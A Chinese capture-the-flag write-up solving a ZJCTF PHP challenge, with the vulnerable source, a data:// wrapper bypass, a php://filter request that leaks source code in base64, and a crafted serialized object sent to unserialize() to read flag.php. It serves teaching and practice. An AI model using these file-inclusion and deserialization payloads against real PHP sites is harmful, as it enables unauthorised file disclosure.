[huayang]
进去代码已给出
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
审计一下
最重要的代码
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
告诉我们打开参数(text)和打开方式(git)并强等于welcome to the zjctf
还告诉了一个useless.php
我们先用base64的方式打开useless.php
base64方式显示控件
data:,文本数据
data:text/plain,文本数据
data:text/html,HTML代码
data:text/html;base64,base64编码的HTML代码
data:text/css,CSS代码
data:text/css;base64,base64编码的CSS代码
data:text/javascript,Javascript代码
data:text/javascript;base64,base64编码的Javascript代码
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据
代码
/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
2020.9.16更
复习了一下这道题说一下这个payload
?text=data://text/plain;这部分应该都懂
base64,d2VsY29tZSB0byB0aGUgempjdGY=
这里是base64编码的 welcome to the zjctf
& 为url的分隔符
file= 懂?
php://是一种协议名称,php://filter/是一种访问本地文件的协议,
/read=convert.base64-encode/表示读取的方式是base64编码后,
resource=useless.php表示目标文件为useless.php
解密一下
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
可以看到flag就在flag.php里
我们继续打开这个文件
被给过滤了,其实题目有明示没看完哈哈
index.php
意思就是把password传入的值反序列化了
我们根据useless.php和index.php构造序列化
<?php
class Flag {#参照useless.php定义的类
public $file = 'flag.php';#因为password是获取file的变量
}
$a = new Flag();
echo serialize($a);
结果
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
利用password进行访问
http://challenge-78047d9bb417634e.sandbox.ctfhub.com:10080/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
falg ctrl+u
[/huayang]
FROM:浅浅淡淡[hellohy]
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论